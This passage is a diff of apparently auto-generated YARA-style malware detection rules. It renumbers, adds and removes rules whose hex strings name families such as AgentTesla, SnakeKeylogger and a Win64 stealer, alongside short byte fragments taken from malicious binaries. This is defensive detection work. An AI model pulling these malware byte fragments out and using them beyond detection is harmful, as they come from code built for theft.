69 90 00 00 00 78 8b 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 72 61 74 2e 4b 41 41 50 21 4d 54 42 00 05 00 5e 03 02 07 17 59 6f 90 01 01 00 00 0a } //2826 - $a_01_3 = {00 } //-28632 - $a_07_4 = {03 6f 90 } //2560 + $a_01_1 = {40 47 4d 4b 75 61 69 42 61 57 6e 64 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 8b 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 62 61 2e 4b 53 37 31 00 01 00 06 80 01 4b 38 4d 69 6e 69 01 00 0a 80 01 4b 38 4d 69 6e 69 2e 65 78 65 01 00 08 80 01 4b } //3072 + $a_2e_2 = {78 65 01 00 0f 80 01 4b 38 42 75 67 52 65 70 6f 72 74 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 8b 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a } //18232 + $a_4d_3 = {49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 53 45 50 21 4d 54 42 00 05 00 59 03 06 16 9a 6f 90 01 03 0a 6f 90 01 03 0a 0b 72 90 01 03 70 07 72 90 01 03 70 28 90 01 03 0a 0b } //28257 + $a_03_4 = {0a } //-28557 + $a_17_5 = {90 01 03 0a 0d 09 6f 90 01 03 0a d4 8d 90 01 03 01 13 04 09 11 04 16 11 04 } //1804 condition: - ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*3072+(#a_90_2 & 1)*2826+(#a_01_3 & 1)*-28632+(#a_07_4 & 1)*2560) >=4 + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*3072+(#a_2e_2 & 1)*18232+(#a_4d_3 & 1)*28257+(#a_03_4 & 1)*-28557+(#a_17_5 & 1)*1804) >=4 } -rule _InfrastructureShared_9340{ +rule _InfrastructureShared_9928{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " + + strings : + $a_46_0 = {50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 62 61 2e 4b 53 37 31 00 01 00 06 80 01 4b 38 4d 69 6e 69 01 00 0a 80 01 4b 38 4d 69 6e 69 2e 65 78 65 01 00 08 80 01 4b 38 47 4d 2e 65 78 65 01 00 0f 80 } //16675 + $a_42_1 = {67 52 65 70 6f 72 74 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 8b 00 00 05 00 05 00 01 00 } //19201 + $a_4c_2 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 53 45 50 21 4d 54 42 00 05 00 59 03 06 16 9a 6f 90 01 03 0a 6f 90 01 03 0a 0b 72 90 01 03 70 07 72 90 01 03 70 28 90 01 } //8993 + $a_73_3 = {01 03 0a 0c 07 19 17 73 90 01 03 } //2563 + $a_6f_4 = {01 03 0a d4 8d 90 01 03 01 } //3338 + $a_11_5 = {16 11 04 8e 69 28 90 01 03 } //1043 + condition: + ((#a_46_0 & 1)*16675+(#a_42_1 & 1)*19201+(#a_4c_2 & 1)*8993+(#a_73_3 & 1)*2563+(#a_6f_4 & 1)*3338+(#a_11_5 & 1)*1043) >=4 + +} +rule _InfrastructureShared_9929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -100314,7 +106754,7 @@ rule _InfrastructureShared_9340{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_9341{ +rule _InfrastructureShared_9930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -100324,17 +106764,18 @@ rule _InfrastructureShared_9341{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_9342{ +rule _InfrastructureShared_9931{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 72 61 67 74 6f 72 2e 41 53 4a 21 4d 54 42 00 05 00 5c 03 40 00 00 40 2e 69 64 61 74 61 00 00 00 10 00 00 00 90 01 02 00 00 90 01 01 00 00 00 90 01 02 00 00 00 00 00 } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 65 61 6c 65 72 2e 41 48 42 21 4d 54 42 00 02 00 2d 01 4d 8b f5 4d 2b f7 48 8b c6 49 2b c7 49 3b c6 4c 0f 42 f0 4c 8d a5 80 00 00 00 48 83 bd 98 00 00 00 0f 4c 0f } //21539 + $a_00_1 = {00 00 4d 03 e7 03 00 2b 03 66 41 89 44 24 1c 41 c6 44 24 1e 00 ff 15 90 01 02 00 00 8b f0 89 44 24 60 ff 15 90 01 02 00 00 2b c6 3d 60 ea 00 00 0f 87 90 00 00 00 78 8b 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4b 75 61 69 5a 69 70 2e 4d 52 21 4d 54 42 00 01 00 10 80 01 5c 4b 75 61 69 7a 69 70 5c 76 69 70 2e 65 78 65 01 00 0d 80 01 2f 2f 62 73 61 6c 73 } //-23225 condition: - ((#a_4c_0 & 1)*21539) >=5 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*-23225) >=5 } -rule _InfrastructureShared_9343{ +rule _InfrastructureShared_9932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -100347,7 +106788,7 @@ rule _InfrastructureShared_9343{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*29559+(#a_00_3 & 1)*5+(#a_54_4 & 1)*17996) >=5 } -rule _InfrastructureShared_9344{ +rule _InfrastructureShared_9933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -100359,7 +106800,7 @@ rule _InfrastructureShared_9344{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*28001+(#a_6f_2 & 1)*385) >=5 } -rule _InfrastructureShared_9345{ +rule _InfrastructureShared_9934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -100372,7 +106813,7 @@ rule _InfrastructureShared_9345{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26982+(#a_11_3 & 1)*656+(#a_07_4 & 1)*1811) >=5 } -rule _InfrastructureShared_9346{ +rule _InfrastructureShared_9935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -100386,7 +106827,7 @@ rule _InfrastructureShared_9346{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*25933+(#a_6b_2 & 1)*385+(#a_63_3 & 1)*8293+(#a_70_4 & 1)*29768) >=5 } -rule _InfrastructureShared_9347{ +rule _InfrastructureShared_9936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -100400,7 +106841,7 @@ rule _InfrastructureShared_9347{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*8307+(#a_73_2 & 1)*266+(#a_74_3 & 1)*18433+(#a_6e_4 & 1)*29268) >=5 } -rule _InfrastructureShared_9348{ +rule _InfrastructureShared_9937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -100414,7 +106855,7 @@ rule _InfrastructureShared_9348{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*28781+(#a_76_2 & 1)*27905+(#a_69_3 & 1)*8313+(#a_54_4 & 1)*18467) >=5 } -rule _InfrastructureShared_9349{ +rule _InfrastructureShared_9938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -100427,7 +106868,7 @@ rule _InfrastructureShared_9349{ ((#a_6c_0 & 1)*16675+(#a_01_1 & 1)*25972+(#a_65_2 & 1)*385+(#a_11_5 & 1)*4874) >=6 } -rule _InfrastructureShared_9350{ +rule _InfrastructureShared_9939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -100442,7 +106883,7 @@ rule _InfrastructureShared_9350{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_8b_4 & 1)*0+(#a_00_5 & 1)*28439) >=6 } -rule _InfrastructureShared_9351{ +rule _InfrastructureShared_9940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 01 00 21 " @@ -100452,7 +106893,7 @@ rule _InfrastructureShared_9351{ ((#a_54_0 & 1)*18467) >=8 } -rule _InfrastructureShared_9352{ +rule _InfrastructureShared_9941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 21 " @@ -100466,7 +106907,7 @@ rule _InfrastructureShared_9352{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*29555+(#a_6e_2 & 1)*25345+(#a_77_3 & 1)*29185+(#a_4e_4 & 1)*-32752) >=8 } -rule _InfrastructureShared_9353{ +rule _InfrastructureShared_9942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -100483,7 +106924,7 @@ rule _InfrastructureShared_9353{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_8b_5 & 1)*0+(#a_74_6 & 1)*384+(#a_6f_7 & 1)*400) >=8 } -rule _InfrastructureShared_9354{ +rule _InfrastructureShared_9943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 21 " @@ -100497,7 +106938,7 @@ rule _InfrastructureShared_9354{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*-32750+(#a_52_2 & 1)*29793+(#a_9a_3 & 1)*1025+(#a_06_4 & 1)*400) >=9 } -rule _InfrastructureShared_9355{ +rule _InfrastructureShared_9944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -100507,7 +106948,7 @@ rule _InfrastructureShared_9355{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_9356{ +rule _InfrastructureShared_9945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -100517,17 +106958,7 @@ rule _InfrastructureShared_9356{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_9357{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4b 65 79 6c 6f 67 67 65 72 2e 50 47 53 21 4d 54 42 00 0a 00 56 03 0c 20 00 7c 01 00 0d 07 08 09 28 90 01 01 00 00 06 00 17 8d 90 01 01 00 00 01 25 16 1f 4c } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=10 - -} -rule _InfrastructureShared_9358{ +rule _InfrastructureShared_9946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -100538,7 +106969,7 @@ rule _InfrastructureShared_9358{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-31958) >=10 } -rule _InfrastructureShared_9359{ +rule _InfrastructureShared_9947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -100549,7 +106980,7 @@ rule _InfrastructureShared_9359{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*27022) >=11 } -rule _InfrastructureShared_9360{ +rule _InfrastructureShared_9948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -100562,7 +106993,7 @@ rule _InfrastructureShared_9360{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*22132+(#a_04_2 & 1)*-28632+(#a_00_3 & 1)*8205) >=11 } -rule _InfrastructureShared_9361{ +rule _InfrastructureShared_9949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -100573,7 +107004,7 @@ rule _InfrastructureShared_9361{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*3160) >=12 } -rule _InfrastructureShared_9362{ +rule _InfrastructureShared_9950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -100584,7 +107015,7 @@ rule _InfrastructureShared_9362{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*5654) >=12 } -rule _InfrastructureShared_9363{ +rule _InfrastructureShared_9951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -100596,7 +107027,7 @@ rule _InfrastructureShared_9363{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*1041+(#a_49_2 & 1)*29793) >=12 } -rule _InfrastructureShared_9364{ +rule _InfrastructureShared_9952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -100608,7 +107039,7 @@ rule _InfrastructureShared_9364{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*4357+(#a_65_2 & 1)*17152) >=12 } -rule _InfrastructureShared_9365{ +rule _InfrastructureShared_9953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -100620,21 +107051,32 @@ rule _InfrastructureShared_9365{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*-32753+(#a_72_2 & 1)*29295) >=12 } -rule _InfrastructureShared_9366{ +rule _InfrastructureShared_9954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 53 4d 31 21 4d 54 42 00 01 00 0c 00 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 07 00 52 65 76 65 72 73 65 0a 00 28 80 01 65 78 65 2e 5f 32 2e 33 2e 33 5f 5f 4f 52 50 5f 53 43 4d 52 2f 31 31 2e } //18467 - $a_2e_1 = {2e 34 39 31 2f 2f 3a 70 74 74 68 01 00 06 00 49 6e 76 6f 6b 65 01 00 0c 00 52 65 73 75 6d 65 4c 61 79 6f 75 74 00 00 78 8b 00 00 28 00 28 00 04 00 21 } //12594 - $a_4c_2 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 64 61 6e 69 6b 6d 61 2e 41 21 64 68 61 00 0a 00 12 01 50 74 53 65 73 73 69 6f 6e 41 67 65 6e 74 2e 65 78 65 0a 00 14 01 63 6f 72 65 53 65 72 76 69 63 65 53 } //21539 - $a_6c_3 = {65 78 65 0a 00 10 01 4e 74 51 75 65 75 65 41 70 63 54 68 72 65 61 64 0a 00 18 03 2d 00 6b 00 c7 45 90 01 01 20 00 6e 00 c7 45 90 01 01 65 00 74 00 90 00 00 00 78 8b 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 43 6f 6f 6b 69 65 43 61 6d 70 2e 41 21 64 68 61 00 64 00 1c 01 54 } //25960 - $a_61_4 = {5f 53 74 61 72 74 45 6e 67 69 6e 57 69 74 68 46 69 72 65 66 6f 78 64 00 19 01 54 68 72 65 61 64 5f 53 74 61 72 74 45 6e 67 69 6e 57 69 74 68 45 64 67 65 64 00 1a 01 54 68 72 65 61 64 5f 53 74 61 72 74 45 6e 67 69 6e 43 6f 6d 70 6c 65 74 65 64 00 00 78 8b 00 00 64 00 64 00 05 00 21 23 48 53 54 52 3a 48 } //29288 + $a_2e_1 = {2e 34 39 31 2f 2f 3a 70 74 74 68 01 00 06 00 49 6e 76 6f 6b 65 01 00 0c 00 52 65 73 75 6d 65 4c 61 79 6f 75 74 00 00 78 8b 00 00 0f 00 0f 00 02 00 21 } //12594 + $a_4c_2 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6b 65 79 2e 41 48 44 21 4d 54 42 00 0a 00 35 01 c6 45 ec 73 c6 45 ed 68 c6 45 ee 65 c6 45 ef 6c c6 45 f0 6c c6 45 f1 33 c6 45 f2 32 c6 45 f3 2e c6 45 f4 64 c6 45 } //21539 + $a_45_3 = {6c c6 45 f7 00 8b f4 8d 45 ec 05 00 25 01 b8 02 00 00 00 6b c8 00 66 8b 95 e0 fd ff ff 66 89 94 0d ec fd ff ff 8d 85 ec fd ff ff 50 8d 8d 30 fc ff ff e8 00 00 78 8b 00 00 28 00 28 00 04 00 21 23 54 45 4c 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 64 61 6e 69 6b 6d 61 2e 41 21 64 68 61 00 0a 00 12 01 50 74 53 65 73 73 69 6f 6e 41 67 65 6e 74 2e 65 78 65 0a 00 14 01 63 6f 72 65 53 65 72 76 69 63 65 53 68 65 6c 6c 2e 65 78 65 0a 00 10 01 4e 74 51 75 65 75 65 41 70 63 54 68 72 65 61 64 0a 00 18 03 2d 00 6b 00 c7 45 90 01 01 20 00 6e 00 c7 45 90 01 01 65 00 74 00 90 00 00 00 78 8b } //27893 + $a_01_4 = {2c 01 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 43 6f 6f 6b 69 65 43 61 6d 70 2e 41 21 64 68 61 00 } //0 condition: - ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*12594+(#a_4c_2 & 1)*21539+(#a_6c_3 & 1)*25960+(#a_61_4 & 1)*29288) >=14 + ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*12594+(#a_4c_2 & 1)*21539+(#a_45_3 & 1)*27893+(#a_01_4 & 1)*0) >=14 } -rule _InfrastructureShared_9367{ +rule _InfrastructureShared_9955{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6b 65 79 2e 41 48 44 21 4d 54 42 00 0a 00 35 01 c6 45 ec 73 c6 45 ed 68 c6 45 ee 65 c6 45 ef 6c c6 45 f0 6c c6 45 f1 33 c6 45 f2 32 c6 45 f3 2e c6 45 f4 64 c6 45 } //21539 + $a_45_1 = {6c c6 45 f7 00 8b f4 8d 45 ec 05 00 25 01 b8 02 00 00 00 6b c8 00 66 8b 95 e0 fd ff ff 66 89 94 0d ec fd ff ff 8d 85 ec fd ff ff 50 8d 8d 30 fc ff ff e8 00 00 78 8b 00 00 28 00 28 00 04 00 21 23 54 45 4c 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 64 61 6e 69 6b 6d 61 2e 41 21 64 68 61 00 0a 00 12 01 50 74 53 65 73 73 69 6f 6e 41 67 65 6e 74 2e 65 78 65 0a 00 14 01 63 6f 72 65 53 65 72 76 69 63 65 53 68 65 6c 6c 2e 65 78 65 0a 00 10 01 4e 74 51 75 65 75 65 41 70 63 54 68 72 65 61 64 0a 00 18 03 2d 00 6b 00 c7 45 90 01 01 20 00 6e 00 c7 45 90 01 01 65 00 74 00 90 00 00 00 78 8b } //27893 + condition: + ((#a_4c_0 & 1)*21539+(#a_45_1 & 1)*27893) >=15 + +} +rule _InfrastructureShared_9956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 04 00 21 " @@ -100647,7 +107089,7 @@ rule _InfrastructureShared_9367{ ((#a_4c_0 & 1)*21539+(#a_6c_1 & 1)*25960+(#a_61_2 & 1)*29288+(#a_54_3 & 1)*25441) >=40 } -rule _InfrastructureShared_9368{ +rule _InfrastructureShared_9957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -100659,7 +107101,7 @@ rule _InfrastructureShared_9368{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*21343+(#a_6d_2 & 1)*27905) >=300 } -rule _InfrastructureShared_9369{ +rule _InfrastructureShared_9958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 05 00 21 " @@ -100673,7 +107115,7 @@ rule _InfrastructureShared_9369{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*29555+(#a_00_2 & 1)*1+(#a_46_3 & 1)*16675+(#a_01_4 & 1)*-28479) >=100 } -rule _InfrastructureShared_9370{ +rule _InfrastructureShared_9959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -100683,7 +107125,7 @@ rule _InfrastructureShared_9370{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9371{ +rule _InfrastructureShared_9960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -100693,7 +107135,7 @@ rule _InfrastructureShared_9371{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9372{ +rule _InfrastructureShared_9961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -100703,7 +107145,7 @@ rule _InfrastructureShared_9372{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9373{ +rule _InfrastructureShared_9962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -100713,7 +107155,7 @@ rule _InfrastructureShared_9373{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9374{ +rule _InfrastructureShared_9963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -100723,7 +107165,7 @@ rule _InfrastructureShared_9374{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9375{ +rule _InfrastructureShared_9964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -100733,7 +107175,7 @@ rule _InfrastructureShared_9375{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9376{ +rule _InfrastructureShared_9965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -100743,7 +107185,7 @@ rule _InfrastructureShared_9376{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9377{ +rule _InfrastructureShared_9966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -100753,7 +107195,7 @@ rule _InfrastructureShared_9377{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9378{ +rule _InfrastructureShared_9967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -100763,7 +107205,7 @@ rule _InfrastructureShared_9378{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_9379{ +rule _InfrastructureShared_9968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -100773,7 +107215,7 @@ rule _InfrastructureShared_9379{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_9380{ +rule _InfrastructureShared_9969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -100783,7 +107225,7 @@ rule _InfrastructureShared_9380{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_9381{ +rule _InfrastructureShared_9970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -100793,7 +107235,7 @@ rule _InfrastructureShared_9381{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_9382{ +rule _InfrastructureShared_9971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -100803,7 +107245,7 @@ rule _InfrastructureShared_9382{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_9383{ +rule _InfrastructureShared_9972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -100814,7 +107256,7 @@ rule _InfrastructureShared_9383{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*13365) >=1 } -rule _InfrastructureShared_9384{ +rule _InfrastructureShared_9973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -100825,7 +107267,7 @@ rule _InfrastructureShared_9384{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*656) >=1 } -rule _InfrastructureShared_9385{ +rule _InfrastructureShared_9974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -100836,7 +107278,7 @@ rule _InfrastructureShared_9385{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*1041) >=1 } -rule _InfrastructureShared_9386{ +rule _InfrastructureShared_9975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -100848,7 +107290,7 @@ rule _InfrastructureShared_9386{ ((#a_77_0 & 1)*19491+(#a_3d_1 & 1)*12590+(#a_72_2 & 1)*28516) >=1 } -rule _InfrastructureShared_9387{ +rule _InfrastructureShared_9976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -100861,7 +107303,7 @@ rule _InfrastructureShared_9387{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*23090+(#a_64_2 & 1)*26625+(#a_00_3 & 1)*1) >=1 } -rule _InfrastructureShared_9388{ +rule _InfrastructureShared_9977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -100876,7 +107318,7 @@ rule _InfrastructureShared_9388{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*385+(#a_01_2 & 1)*2816+(#a_55_3 & 1)*23552+(#a_41_4 & 1)*-9055+(#a_08_5 & 1)*-30208) >=1 } -rule _InfrastructureShared_9389{ +rule _InfrastructureShared_9978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -100891,7 +107333,7 @@ rule _InfrastructureShared_9389{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*27706+(#a_01_2 & 1)*2+(#a_8c_3 & 1)*0+(#a_c7_4 & 1)*-15861+(#a_65_5 & 1)*24943) >=1 } -rule _InfrastructureShared_9390{ +rule _InfrastructureShared_9979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -100901,7 +107343,7 @@ rule _InfrastructureShared_9390{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_9391{ +rule _InfrastructureShared_9980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -100912,7 +107354,7 @@ rule _InfrastructureShared_9391{ ((#a_46_0 & 1)*16675+(#a_88_1 & 1)*1162) >=2 } -rule _InfrastructureShared_9392{ +rule _InfrastructureShared_9981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -100923,7 +107365,7 @@ rule _InfrastructureShared_9392{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25700) >=2 } -rule _InfrastructureShared_9393{ +rule _InfrastructureShared_9982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -100934,7 +107376,7 @@ rule _InfrastructureShared_9393{ ((#a_46_0 & 1)*16675+(#a_ff_1 & 1)*3908) >=2 } -rule _InfrastructureShared_9394{ +rule _InfrastructureShared_9983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -100945,7 +107387,7 @@ rule _InfrastructureShared_9394{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32) >=2 } -rule _InfrastructureShared_9395{ +rule _InfrastructureShared_9984{ meta: description = 